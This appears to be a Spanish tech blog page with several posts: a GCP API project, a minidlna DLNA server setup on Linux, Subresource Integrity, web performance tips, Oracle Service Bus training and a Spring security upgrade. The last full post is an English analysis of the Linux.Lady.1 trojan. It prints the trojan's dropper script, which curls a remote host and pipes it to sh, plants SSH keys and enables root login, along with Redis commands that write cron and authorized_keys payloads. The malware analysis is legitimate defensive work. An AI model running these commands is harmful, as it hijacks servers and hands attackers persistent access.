Ejemplo sencillo de Api Rest en GCP

Una API Restful de Farmacias en Turno Público El proyecto se separa en capas BE microservicios de lógica y consulta a otras APIS en el caso propuesto las APIS no eran con seguridad si se necesitara el uso del x-api-key se deberia utilizar secretos para guardar las claves. El microservicio BFF interactua directamente con el Front FE, por lo que se configuraron los filtros CORS. El front FE no está completo,nunca tuve una API de google maps para habilitar, no me desgaste en eso. Mi primer enfoque pensé en usar la cuenta que tenia en Kubernates pero se me vencieron los $300 dolares y para habilitar otra cuenta de facturación esta lenta la cosa con el tema del covid-19 al momento de escribir este manual aún no me habilitan. Los Servicios REST (API),están basados en Spring Boot Git Hub

Instalar y Configurar DLNA en linux

DLNA (Digital Living Network Alliance) es una tecnología presente en muchos equipos electrónicos como televisores, smartphones, consolas, discos duros, tablets, ect a través de la cual todos ellos se pueden intercomunicar con el fin de compartir contenido entre ellos mismos. DLNA “Digital Living Network Alliance” es un estándar para la transmisión de música, películas, imágenes y demás contenido a través de una misma red.

 ¿QUÉ NECESITO PARA ELLO?

Dispositivos compatibles con DLNA, tales como televisores SmartTV, teléfonos móviles, consolas de videojuegos, discos duros de red o reproductores Blu-ray. Una red doméstica en la que los dispositivos DLNA estén debidamente registrados. En tu PC o smartphone debes tener programas compatibles con DLNA como, por ejemplo, Windows Media Player o apps como Arkuda DMS (iOS) o BubbleUPnP (Android).

TIPOS DE DISPOSITIVOS DLNA
Los dispositivos DLNA se dividen en tres grupos. Además, un mismo dispositivo puede cumplir varias funciones. Por ejemplo, los teléfonos inteligentes pueden desempeñar la función de servidor, reproductor y controlador.

Servidores: En los servidores de medios digitales se almacenan archivos como música, fotos y vídeos. Por lo general se trata de PC, smartphones, tablets o discos duros de red (NAS).
Reproductor/Renderizador: dispositivos como televisores o reproductores Blu-ray son los responsables de la reproducción. Localizan el servidor automáticamente y muestran su contenido.
Controlador: smartphones y tablets también se usan como mando a distancia. Localizan archivos multimedia en los servidores y distribuyen el contenido a los dispositivos que los reproducirán.
ESTO ES LO QUE DLNA PUEDE HACER
Mediante el estándar DLNA, los diferentes tipos de dispositivos pueden intercambiar datos entre sí. Aquí tienes algunos ejemplos de su utilidad:

Películas, desde el disco duro de red a tu televisor: Si cuentas con una colección de películas en un disco duro de red (NAS) compatible con DLNA, puedes utilizar una sencilla app desde tu smartphone que te permitirá seleccionar tu NAS como servidor y tu televisor como dispositivo de reproducción. Además, puedes usar tu smartphone como si fuera el mando a distancia.

Si la opción es ver contenido 4k en la red hogar llegara la dificultad del almacenamiento, existen discos duros externos (USB 3.0), por ningún motivo usb inferiores  que se pueden usar para conectar a las TV, pero resulta inconveniente estar transportándolos de un lugar a otros (solución mas barata ).
Otra dificultad que encontraran sera la velocidad de la red domestica, si no están dispuestos a cablear toda la casa para conectar todos los dispositivos de la red domestica a cable, sugiero cambiar la WiFi 2.4G y la 5G, esta frecuencia tiene mas ventajas: si queremos altas velocidades (por ejemplo, para hacer streaming) y una conexión sin interferencias, debemos conectarnos a la red de 5 Ghz ya que alcanza velocidades cercanas a los 867 Mbps. Recomiendo conectar las TV y PlayStation 4 Pro a la red 5G y los celulares a la red wifi 2.4.

La otra alternativa mas cara sera usar discos NAS en red que para uso domestico no se condice la relación precio /uso.
ej de precios: discos NAS

Solución mas típica es comprar un reproductor de Blu-ray  y dejar estacionario el reproductor a la TV donde queremos ver el contenido eh ir comprando películas en físico (solución mas cara).

Pero también se puede instalar un servidor de DNLA domestico en la misma red domestica, y conectar a un Notebook o PC los discos duros o externos y reproducir su contenido en toda la red domestica (solución mas barata). Dare las configuraciones para hacerlo en Linux, pero en windows las dejare en el siguiente Link:
Servidor DNLA en Windows 10

Primero:

sudo apt install minidlna


sudo nano /etc/minidlna.conf


A grandes rasgos, para tener nuestro servidor DLNA funcionando, tan solo debemos cambiar 4 líneas. La primera de ellas será el nombre del servidor en cuestión:
friendly_name=LINUS_MEDIA

Las otras líneas que debemos modificar de este servidor son las que le indican los directorios donde almacenamos el contenido que queremos transmitir a través de la red con este servidor. Según la letra que elijamos (A,V,P) podemos configurar rutas diferentes para la música, los vídeos y las fotografías.

Por ejemplo:

media_dir=A,/home/usuario/Música
media_dir=V,/home/usuario/Vídeos
media_dir=P,/home/usuario/Fotos
Obviamente debemos cambiar en cada caso los directorios de ejemplo por donde tengamos nuestro contenido. Si no espeficicamos la letra correspondiente, compartiremos todo el contenido (A,V,P) del directorio especificado. (Evitar espacios entre los nombres de directorios) Las particiones montadas deben ser de umask=007 a umask=002.

Si tenemos, por ejemplo, los vídeos en varias carpetas diferentes, podemos añadir varias líneas para “V” con directorios diferentes sin problemas.
Una vez llegados a este punto, lo único que debemos hacer es iniciar el servidor DLNA para que este empiece a funcionar y sea visible dentro de la red local. Para ello, teclearemos el comando:

sudo service minidlna restart


sudo apt install minidlna
Para consultar el servicio se desplega en :


http://localhost:8200/







implementar Subresource Integrity


SRI es una nueva especificación W3C que permite a los desarrolladores web garantizar que los recursos alojados en servidores de terceros no hayan sido manipulados. El uso de SRI se recomienda como una mejor práctica, siempre que las bibliotecas se carguen desde una fuente externa.


 cat jquery.blockUI.js | openssl dgst -sha256 -binary | openssl enc -base64 

La clave generada será similar a esta:
XPlTBHSW0me1hiIzr+Pk1mF7fNOh9uF2k16F06+BnL4= Este proceso se repite para todos los recursos tanto css y js del sitio. Ahora para implementar en la página esta notación no es compatible con todos los navegadores:

https://caniuse.com/#feat=subresource-integrity



Si el sitio web dispone de Analytics sería bueno revisar el porcentaje de navegadores que revisan e sitio web y según el % de visitas realizar una validación de User Agent por ejemplo para habilitar esta notación por ejemplo a priori se sabe que las versiones de Internet Explorer no están soportadas para esta notación. Por lo que se debe hacer una bifurcación dependiendo del navegador en donde sea abierta la página:

En JSP sería asi:


 

        
            
                
                
                
            
            
                
                
            
        

Performance Web


  1. Buscar y mejorar redundancias en el CSS
-->Segmentar el css en secciones o niveles de visualización en el sitio. 
  • No sobrecargar en la etiqueta headers con Scripts.
  • -->Usar etiqueta Preconnect en links.
  • -->La etiqueta Preload se puede usar para pecargar los css.

    1.  Buscar y mejorar redundancias en el CSS
      csscss analizará todos los archivos CSS que le proporcione y le informará qué conjuntos de reglas tienen declaraciones duplicadas.Una de las mejores estrategias para mantener CSS es reducir la duplicación tanto como sea posible. No es una bala de plata, pero seguro que ayuda.
      Para hacer eso, necesitas tener todos los conjuntos de reglas en tu cabeza en todo momento. Eso es difícil, csscss es fácil. Deja que te diga lo que es redundante.

      http://zmoazeni.github.io/csscss/
    2. Segmentar el css en secciones o niveles de visualización en el sitio
      Según el reporte de Analitics de Flujo del comportamiento de usuarios es de hasta 3 iteraciones no tiene sentido cargar el css completo de otras 4 paginas que ni si quiera vera el usuario es mejor segmentar el css por navegación.


    3. No sobrecargar en la etiqueta headers con Scripts

    -->Los navegadores leen documentos HTML de arriba a abajo. Cuando hay enlaces a recursos externos
    (como scripts, en este caso), el navegador se detiene para analizarlos.
    Cuando se produce el análisis, la representación se bloquea.


  • Usar etiqueta Preconnect en links

  • -->El preconnect tipo de relación de enlace se usa para indicar un origen que se utilizará para captar los recursos requeridos. Iniciar una conexión temprana, que incluye la búsqueda de DNS, el protocolo de enlace TCP y la negociación de TLS opcional, permite al agente de usuario enmascarar los altos costos de latencia de establecer una conexión.


    https://w3c.github.io/resource-hints/
    Usar la preconexión de una manera eficiente y pensada no solo ayudará a optimizar su sitio web, sino que también evitará que utilice recursos deficiente. Preconnect es  compatible con algunos navegadores modernos, con la excepción de Internet Explorer, Safari, IOS Safari y Opera Mini.


  • La etiqueta Preload se puede usar para pecargar los css.

    La precarga es un nuevo estándar web que ofrece más control sobre cómo se obtienen los recursos particulares para la navegación actual. Esta es la versión actualizada de la captación previa de subrecursos que quedó obsoleta en enero de 2016. Esta directiva se puede definir dentro de un elemento, por ejemplo, como En general, es mejor precargar sus recursos más importantes, como imágenes, CSS, JavaScript y archivos de fuentes. Esto no debe confundirse con la precarga del navegador en la que solo los recursos declarados en HTML están precargados. La directiva de precarga realmente supera esta limitación y permite que los recursos que se inician a través de CSS y JavaScript se precarguen y definir cuándo se debe aplicar cada recurso .

    La precarga es diferente de la captación previa porque se enfoca en la navegación actual y obtiene recursos con alta prioridad . La captura previa se centra en la búsqueda de recursos para la próxima navegación que son de baja prioridad. También es importante tener en cuenta que la precarga no bloquea el onloadevento de la ventana .
    Beneficios de la precarga 
    Algunos de los beneficios de la directiva de precarga incluyen:
    Permite al navegador establecer la prioridad de los recursos, lo que permite a los desarrolladores web optimizar la entrega de ciertos recursos.Le da al navegador la capacidad de determinar el tipo de recurso, por lo tanto, puede decir si el mismo recurso se puede reutilizar en el futuro.
    El navegador puede determinar si la solicitud cumple con la política de seguridad de contenido  haciendo referencia a lo que se define en el asatributo.
    El navegador puede enviar los acceptencabezados apropiados según el tipo de recurso. (como image / webp)
  • Precargar el soporte del navegadorEl soporte de precarga se agregó a Chrome 50  en abril de 2016 y también es  compatible con Opera 37 y versiones posteriores. Todavía no está confirmado para Mozilla Firefox  y es probable el desarrollo de Microsoft Edge 

    1. precargar el soporte del navegador

    capacitación de Oracle Service Bus



    Ayer me toco dar una capacitación de Oracle Services Bus a mis compañeros de trabajo, entre los temas fue empezar a contextualizar el ambiente de pruebas y desarrollo que construí para poder trabajar con la versión especifica de osb que usa el cliente en este caso la 11.1.1.7. Pasos de instalación y problemas típicos de desarrollo. Mostrar la Consola de OSB las funcionalidades que tiene. Empece explicando como se transforma un servicio web a exponerlo a través del Bus cambiándole algunos parámetros,  mostrando un proyecto de ejemplo que mapea un webservice de Rest a SOAP.
    También mostré como se usa el IDE eclipse con perspectiva OSB sirve para crear un proyecto desde cero.





    Spring Framework actualización sobre la alerta de seguridad CVE-2014-3625 Directory traversal vulnerability

    Según una entrada anterior sobre seguridad seguridad-web use ejemplos explicativos de ataques posibles sobre una aplicación web: por ejemplo que haces si usamos una versión antigua de spring framework y nuestra aplicación tiene una alerta de seguridad reportada, ¿que debemos hacer?
     Para revisar si existen alertas de seguridad detectadas en el framwork de spring revisar: Pivotal-Spring-Framework

    revisar las versiones afectadas en este caso estaba usando al version 3.X del framework
    Versions Affected
    Spring Framework 3.0.4 to 3.2.11
    Spring Framework 4.0.0 to 4.0.7
    Spring Framework 4.1.0 to 4.1.1
    Other unsupported versions may also be affected

    Si usas Maven el proceso no es tan engorroso, solo debes modificar la properties de las versiones del framework, en caso del POM no este usando la propertie pasarla como:




     
    ....
    
    http://maven.apache.org
     
           
    +        3.2.12.RELEASE
    +        3.2.3.RELEASE
    +        1.6.6 
             UTF-8
    Add a comment to this line
         
    
     
    Add a comment to this line
                 org.springframework
                 spring-webmvc
    -            3.1.1.RELEASE
    +            ${org.springframework-version}
                 jar
             
             
    


    Modificar las versiones correspondientes en la configuración por XML en el root-context:

     
    ....
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:jaxws="http://cxf.apache.org/jaxws"
            xmlns:mvc="http://www.springframework.org/schema/mvc"
    -       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    - http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.1.xsd
    +       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsd
    + http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.2.xsd
             http://cxf.apache.org/jaxws http://cxf.apache.org/schemas/jaxws.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd" 
            xmlns:aop="http://www.springframework.org/schema/aop">
         
    
    

    En la configuración de seguridad de spring se deben actualizar las versiones de los xsd ya que hay tags que fueron deprecados entre versiones y es mejor saber cuales ya no se pueden usar:
     
    
    
    ......
     
    ....
    
    
    
                        
                 
                     
                
                
                    
            
        
    
    

    Inspeccionando la página quedara algo como:

    How to Detect Linux Lady Malware

    Linux.Lady.1


    A Trojan for Linux written in Go programming language. This malware possesses the ability to
    1. Collect information about an infected computer and transfer it to the command and control server.
    2. Download and launch a cryptocurrency mining utility.
    3. Attack other computers of the network in order to install its own copy on them.
    Once launched, the Trojan checks the system for keys and terminates itself if they are missing:
    • Version—display the Trojan’s version and terminate the session
    • Install—install the Trojan
    • D—launch main payload of the Trojan.
    If launched with the Install key, the malware verifies the name of the executed file is /usr/sbin/ntp. If not, the Trojan replicates itself into this directory and creates the /etc/systemd/system/ntp.service file that looks as follows:
    [Unit]
    Description=NTP daemon
    ConditionFileIsExecutable=/usr/sbin/ntp
    [Service]
    StartLimitInterval=5
    StartLimitBurst=10
    ExecStart=/usr/sbin/ntp "-D"
    Restart=always
    RestartSec=120
    [Install]
    WantedBy=multi-user.target
    
    Then the Trojan runs its copy with the D key and creates 4 streams, each of which is appended with a channel. Thus, the streams receive the following structures:
    "chan []st.IPRule"
    "chan st.Minerd"
    "chan st.Update"
    "chan []st.Attack"
    
    After that, the malicious program goes to sleep mode for 15–45 seconds and then sends the following information to the command and control server:
    • Trojan’s version
    • Number of CPUs on the infected machine
    • Host’s name
    • Number of running processes
    • Name of the operating system
    • Family of the operating system
    • Host’s uptime
    The Trojan receives a configuration file containing information necessary for the Trojan’s operation. Then it downloads and launches a cryptocurrency mining program. The malware determines an external IP address of the infected computer using special websites specified in the configuration file. The Trojan then calculates the mask of the subnet External_ip\8 (mask is 255.0.0.0) and tries to connect to the remote hosts via port 6379 (redis) without entering a password. If the connection is established, Linux.Lady.1 opens the URL specified in the configuration file, downloads a script detected as Linux.DownLoader.196, and adds it to the cron scheduler of the infected computer:
    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    echo "*/10 * * * * curl -fsSL http://r.*****ring.com/pm.sh?0706 | sh" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo "*/10 * * * * curl -fsSL http://r. *****ring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
    if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
        mkdir -p ~/.ssh
        rm -f ~/.ssh/authorized_keys*
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
        echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
        echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
        echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
        echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
        /etc/init.d/sshd restart
    fi
    if [ ! -f "/etc/init.d/ntp" ]; then
        if [ ! -f "/etc/systemd/system/ntp.service" ]; then
            mkdir -p /opt
            curl -fsSL http://r. ****ring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
        fi
    fi
    /etc/init.d/ntp start
    ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
    
    Once the connection is established, the Trojan executes the following commands:
    config set stop-writes-on-bgsave-error no
    config set rdbcompression no
    config set dir /var/spool/cron
    config set dbfilename root
    set 1 ("\n\n*/1 * * * * curl -L %s | sh\n\n") % (ShellUrl из конфига)
    save
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    set 1 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TjWxZeA8JlaBwfvgtjvDT0bm9d4JGbzz1KIIGyvSKxd7bqYLwXfxr0Q+tZxF5nHXldH2pRNacD7Gm8XX4aZCUYlL5Ev0goYmOTgXOQNkgyVQKPE6KGV5BZpNoB2sbIkuweLbbdZaOcncnFvAEh7dVUQ5lh2QLz/IuRzakrzaJeTPiaD3BAyXhjcVwDFn1Lb84uiqc7nW6gw2bIaSMOrNTfZH/xftGdI'UpJoQK06jmFrTlpWaL5joAooc2Evan6XnqkO4g5In7tjhX8pBtCBGk78SKCJmkEjK'+xbN+7oZhuaeB/ubPm3xDahi+w1xHGZIt/N7z268Fz3rQAhBUZ+eQ==
    save
    del 1
    set dir /tmp
    set dbfilename dump.rdb
    config set rdbcompression yes
    
    The Trojan adds a key for connection via SSH to the authorized_keys list. Then it tries to connect to the remote server over SSH and, if successful, executes the following command:
    (curl -fsSL %s?ssh | sh) % (ShellUrl)
    The Trojan’s architecture consists of various libraries published on GitHub, a popular collaborative application development service.

    Info:
    http://blog.huntingmalware.com/notes/LLMalware

    Problemas de activación WIFI6 en LG_OLED55CXPSA

      Mi experiencia con este TV  ah sido impecable hasta ahora, llevaba un uso normal y no tenia que usar la conexión por wifi ya que tengo una...